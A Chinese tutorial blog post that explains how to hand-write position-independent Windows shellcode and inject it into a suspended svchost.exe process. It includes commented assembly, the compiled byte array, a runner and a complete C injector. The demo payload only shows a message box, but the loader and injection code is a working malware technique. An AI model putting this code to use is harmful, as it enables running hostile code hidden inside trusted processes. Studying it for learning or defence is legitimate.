编写shellcode并注入至进程

2024-02-24 10:18
文章标签 编写 注入 进程 shellcode

本文主要是介绍编写shellcode并注入至进程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

shellcode

维基百科:

在计算机安全中,shellcode是一小段代码,可以用于软件漏洞利用的载荷。被称为“shellcode”是因为它通常启动一个命令终端,攻击者可以通过这个终端控制受害的计算机,但是所有执行类似任务的代码片段都可以称作shellcode。
……
Shellcode通常是以机器码形式编写的。

去掉修饰词,shellcode就是一段机器码。

关于shellcode如何攻击,如何利用漏洞去执行,以后补上。这次主要记录编写的shellcode 以及注入。

编写shellcode

shellcode 跟我们平常见到的机器码是有区别的,他不能是随便扣出来一段机器码就是shellcode。

注意编写shellcode的一些限制:

1.不能使用字符串的直接偏移

在代码中定义一个全局变量,或直接把该字符串传递给某个函数,编译器都会把字符串放置在一个特定的Section中(如.rdata或.data)。
也就是说你在你的shellcode定义的全局变量位置在加载程序后,会重定向到另一个位置,现在你的shellcode就找不到了。(注意这里是不能使用全局变量以及字符串的直接偏移,并不代表你不能push 数据转成字符串。)

在这里插入图片描述

2.不能直接使用系统API

因为不能确定这些API函数地址,我们无法确定包含所需函数的DLL文件是否已经加载到内存。受ASLR(地址空间布局随机化)机制的影响,系统不会每次都把DLL文件加载到相同地址上。而且,DLL文件可能随着Windows每次新发布的更新而发生变化,所以我们不能依赖DLL文件中某个特定的偏移。
我们需要把DLL文件加载到内存,然后直接通过shellcode查找所需要的函数。幸运的是,Windows API为我们提供了两个函数:LoadLibrary和GetProcAddress。我们可以使用这两个函数来查找函数的地址。

3.不能有一些特定字符(如NULL字节)
空字节:0x00,在C/C++代码中,空字节会被认为是字符串的结束符,如果shellcode中有空字节,

char *shellcode="\x11\x22\x00\x33\x44"

就不能确保后面的shellcode会被执行,比如上面的\x33\x44就不会被执行。

例如MOV EAX,0; XOR EAX,EAX; 两条指令从功能上来说是等价的,但你可以清楚地看到第一条指令包含空字节,而第二条指令却不包含空字节。虽然空字节在编译后的代码中非常常见,但是我们可以很容易地避免。
还有,在一些特殊情况下,shellcode必须避免出现类似\r或\n的字符,甚至只能使用字母数。

shellcode 汇编编写

大体步骤:

1.因为不能直接使用API 所以我们也只能从PEB 开始获取当前程序加载的kernel32.dll的基址。

2.再找到kernel32导出函数GetProcAddress函数。

3.用GetProcAddress(“LoadLibrary”,&BaseOfKernel32.dll)。

4.找到LoadLibrary api,之后想要什么API只用这两个函数就行了。

上代码:
每行都有注释,这次就简单获取MessageBoxA()。

//获取kernel32.dll的基址xor ecx, ecx mov eax, fs:[ecx + 0x30]  ;//EAX = PEBmov eax, [eax + 0xc]      ;//EAX = PEB->Ldrmov esi, [eax + 0x14]     ;//ESI = PEB->Ldr.InMemOrderlodsd                     ;//EAX = Second modulexchg eax, esi             ;//EAX = ESI, ESI = EAXlodsd                     ;//EAX = Third(kernel32)mov ebx, [eax + 0x10]     ;//EBX = Base address//获取导出函数名称vamov edx, [ebx + 0x3c]		;//EDX = DOS->e_lfanewadd edx, ebx				;//EDX = PE Headermov edx, [edx + 0x78]		;//EDX = Offset export tableadd edx, ebx				;//EDX = Export tablemov esi, [edx + 0x20]		;//ESI = Offset names tableadd esi, ebx				;//ESI = Names tablexor ecx, ecx				;//EXC = 0//对比函数名称,得到GetProcAddress函数的序号(ecx)
Get_Function:inc ecx                              ;//Inc rement the ordinal lodsd                                ;//Get name offset add eax, ebx                         ;//Get functionname cmp dword ptr[eax], 0x50746547       ;//GetP jnz Get_Function					 ;cmp dword ptr[eax + 0x4], 0x41636f72 ;//rocA jnz Get_Function					 ;cmp dword ptr[eax + 0x8], 0x65726464 ;//ddre jnz Get_Function					 ;//利用序号,找到GetProcAddress函数地址mov esi, [edx + 0x24]		;//ESI = Offset ordinalsadd esi,ebx					;//ESI = ordinals tablemov cx, [esi + ecx * 2]		;//CX = Number of functiondec ecx						;mov esi,[edx+0x1c]			;//ESI = Offset Address tableadd esi,ebx					;//ESI = Address table;mov edx,[esi + ecx * 4]		;//EDX = Pointer(offset)add edx,ebx					;//EDX = GetProcAddress//利用GetProcAddress函数找到LoadLibrayA函数地址xor ecx,ecx					;//ECX = 0push ebx					;//Kernel32 base addresspush edx					;//GetProcAddresspush ecx					;//0push 0x41797261				;//aryApush 0x7262694c				;//Librpush 0x64616f4c				;//Loadpush esp					;//"LoadLibraryA"push ebx					;//Kernel32 base addresscall edx					;//GetProcAddress()//使用LoadLibraryA函数加载需要的dll文件add esp,0xc					;//pop "LoadLibraryA"pop ecx						;//ECX = 0;push eax					;//EAX = LoadLibraryApush ecx					;//"\0"mov cx,0x6c6c				;//llpush ecx					;push 0x642e3233				;//32.dpush 0x72657375				;//userpush esp					;//"user32.dll"call eax					;//LoadLibrary("user32.dll")//使用GetProcAddress从user32dll中找到需要的函数地址add esp,0x10				;//Clean stackmov edx,[esp + 0x4]			;//EDX = GetProcAddressxor ecx,ecx					;//ECX = 0push ecx					;mov	ecx,0x6141786f			;//oxAapush ecx					;//MessageBoxsub dword ptr[esp+0x3],0x61 ;//Remove "a"push 0x42656761				;//ageBpush 0x7373654d				;//Messpush esp					;//"MessageBoxA"push eax					;//user.dll addresscall edx					;//GetProcAddress(MessageBoxA)//调用MessageBoxAadd esp,0x10				;//Cleanup stackxor ecx,ecx					;//ECX = 0push ecx					;push ecx					;push ecx					;push ecx					;call eax					;//MessageBoxA();

如果想让程序结束的优雅一点,可以在调用一个ExitProcess()

可是我不想让他优雅(狗头)

转成shellcode

有个简便的办法:

如果是vs编译器写的汇编

int main()
{__asm{//上面的汇编代码拷贝到这儿}return 0;
}

编译,将生成的exe,拖进OD。找到汇编代码入口:

在这里插入图片描述

把该函数全选,二进制复制
在这里插入图片描述
将选中的二进制稍微修改一下,0x,\x 都行。

测试运行效果

测试shellcode是否转化成功

#include<stdio.h>
#include<windows.h>int main(){char *shellcode = "\x53\x56\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72"
"\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79"
"\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68"
"\x75\x73\x65\x72\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x6F\x78\x41\x61\x51\x83\x6C\x24\x03\x61\x68\x61\x67\x65"
"\x42\x68\x4D\x65\x73\x73\x54\x50\xFF\xD2\x83\xC4\x10\x33\xC9\x51\x51\x51\x51\xFF\xD0\x5E\x33\xC0\x5B\xC3";DWORD old = 0;BOOL ret = VirtualProtect(shellcode,strlen(shellcode),PAGE_EXECUTE_READWRITE,&old);__asm{jmp shellcode;}return 0;
}

进程注入shellcode

#include<stdio.h>
#include<windows.h>unsigned char codebuf[] = "\x53\x56\x33\xC9\x64\x8B\x41\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x96\xAD\x8B\x58\x10\x8B\x53\x3C\x03\xD3\x8B\x52\x78\x03\xD3\x8B\x72"
"\x20\x03\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x8B\x72\x24\x03\xF3\x66\x8B\x0C\x4E\x49\x8B\x72\x1C\x03\xF3\x8B\x14\x8E\x03\xD3\x33\xC9\x53\x52\x51\x68\x61\x72\x79"
"\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x53\xFF\xD2\x83\xC4\x0C\x59\x50\x51\x66\xB9\x6C\x6C\x51\x68\x33\x32\x2E\x64\x68"
"\x75\x73\x65\x72\x54\xFF\xD0\x83\xC4\x10\x8B\x54\x24\x04\x33\xC9\x51\xB9\x6F\x78\x41\x61\x51\x83\x6C\x24\x03\x61\x68\x61\x67\x65"
"\x42\x68\x4D\x65\x73\x73\x54\x50\xFF\xD2\x83\xC4\x10\x33\xC9\x51\x51\x51\x51\xFF\xD0\x5E\x33\xC0\x5B\xC3";int main()
{STARTUPINFO start = {0};PROCESS_INFORMATION ProcessInfo = {0};start.cb = sizeof(STARTUPINFO);memset(&ProcessInfo, 0, sizeof(PROCESS_INFORMATION));//创建挂起进程if (!CreateProcess(L"C:\\Windows\\System32\\svchost.exe",NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&start,&ProcessInfo)){printf("CreateProcess failed (%d).\n", GetLastError());return 0;}//获取线程上下文 拿到进程入口点地址CONTEXT context;context.ContextFlags = CONTEXT_ALL;if (!GetThreadContext(ProcessInfo.hThread, &context)){printf("Get ThreadContext failed (%d).\n", GetLastError());TerminateProcess(ProcessInfo.hProcess,0);return 0;}//写入shellcodeif (!WriteProcessMemory(ProcessInfo.hProcess, (LPVOID)context.Eax, codebuf, sizeof(codebuf), 0)){printf("Write Shellcode faild (%d). \n", GetLastError());TerminateProcess(ProcessInfo.hProcess, 0);return 0;}//恢复线程运行if (ResumeThread(ProcessInfo.hThread) == (DWORD)-1){printf("ResumeThread failed (%d).\n",GetLastError());TerminateProcess(ProcessInfo.hProcess, 0);return 0;}
}

在这里插入图片描述
成功。

这篇关于编写shellcode并注入至进程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/741785

相关文章

Linux中的进程间通信之匿名管道解读

《Linux中的进程间通信之匿名管道解读》:本文主要介绍Linux中的进程间通信之匿名管道解读,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、基本概念二、管道1、温故知新2、实现方式3、匿名管道(一)管道中的四种情况(二)管道的特性总结一、基本概念我们知道多

Linux进程终止的N种方式详解

《Linux进程终止的N种方式详解》进程终止是操作系统中,进程的一个重要阶段,他标志着进程生命周期的结束,下面小编为大家整理了一些常见的Linux进程终止方式,大家可以根据需求选择... 目录前言一、进程终止的概念二、进程终止的场景三、进程终止的实现3.1 程序退出码3.2 运行完毕结果正常3.3 运行完毕

Windows命令之tasklist命令用法详解(Windows查看进程)

《Windows命令之tasklist命令用法详解(Windows查看进程)》tasklist命令显示本地计算机或远程计算机上当前正在运行的进程列表,命令结合筛选器一起使用,可以按照我们的需求进行过滤... 目录命令帮助1、基本使用2、执行原理2.1、tasklist命令无法使用3、筛选器3.1、根据PID

基于.NET编写工具类解决JSON乱码问题

《基于.NET编写工具类解决JSON乱码问题》在开发过程中,我们经常会遇到JSON数据处理的问题,尤其是在数据传输和解析过程中,很容易出现编码错误导致的乱码问题,下面我们就来编写一个.NET工具类来解... 目录问题背景核心原理工具类实现使用示例总结在开发过程中,我们经常会遇到jsON数据处理的问题,尤其是

linux本机进程间通信之UDS详解

《linux本机进程间通信之UDS详解》文章介绍了Unix域套接字(UDS)的使用方法,这是一种在同一台主机上不同进程间通信的方式,UDS支持三种套接字类型:SOCK_STREAM、SOCK_DGRA... 目录基础概念本机进程间通信socket实现AF_INET数据收发示意图AF_Unix数据收发流程图A

SpringBoot项目注入 traceId 追踪整个请求的日志链路(过程详解)

《SpringBoot项目注入traceId追踪整个请求的日志链路(过程详解)》本文介绍了如何在单体SpringBoot项目中通过手动实现过滤器或拦截器来注入traceId,以追踪整个请求的日志链... SpringBoot项目注入 traceId 来追踪整个请求的日志链路,有了 traceId, 我们在排

Python中多线程和多进程的基本用法详解

《Python中多线程和多进程的基本用法详解》这篇文章介绍了Python中多线程和多进程的相关知识,包括并发编程的优势,多线程和多进程的概念、适用场景、示例代码,线程池和进程池的使用,以及如何选择合适... 目录引言一、并发编程的主要优势二、python的多线程(Threading)1. 什么是多线程?2.

linux进程D状态的解决思路分享

《linux进程D状态的解决思路分享》在Linux系统中,进程在内核模式下等待I/O完成时会进入不间断睡眠状态(D状态),这种状态下,进程无法通过普通方式被杀死,本文通过实验模拟了这种状态,并分析了如... 目录1. 问题描述2. 问题分析3. 实验模拟3.1 使用losetup创建一个卷作为pv的磁盘3.

Linux环境变量&&进程地址空间详解

《Linux环境变量&&进程地址空间详解》本文介绍了Linux环境变量、命令行参数、进程地址空间以及Linux内核进程调度队列的相关知识,环境变量是系统运行环境的参数,命令行参数用于传递给程序的参数,... 目录一、初步认识环境变量1.1常见的环境变量1.2环境变量的基本概念二、命令行参数2.1通过命令编程

Linux之进程状态&&进程优先级详解

《Linux之进程状态&&进程优先级详解》文章介绍了操作系统中进程的状态,包括运行状态、阻塞状态和挂起状态,并详细解释了Linux下进程的具体状态及其管理,此外,文章还讨论了进程的优先级、查看和修改进... 目录一、操作系统的进程状态1.1运行状态1.2阻塞状态1.3挂起二、linux下具体的状态三、进程的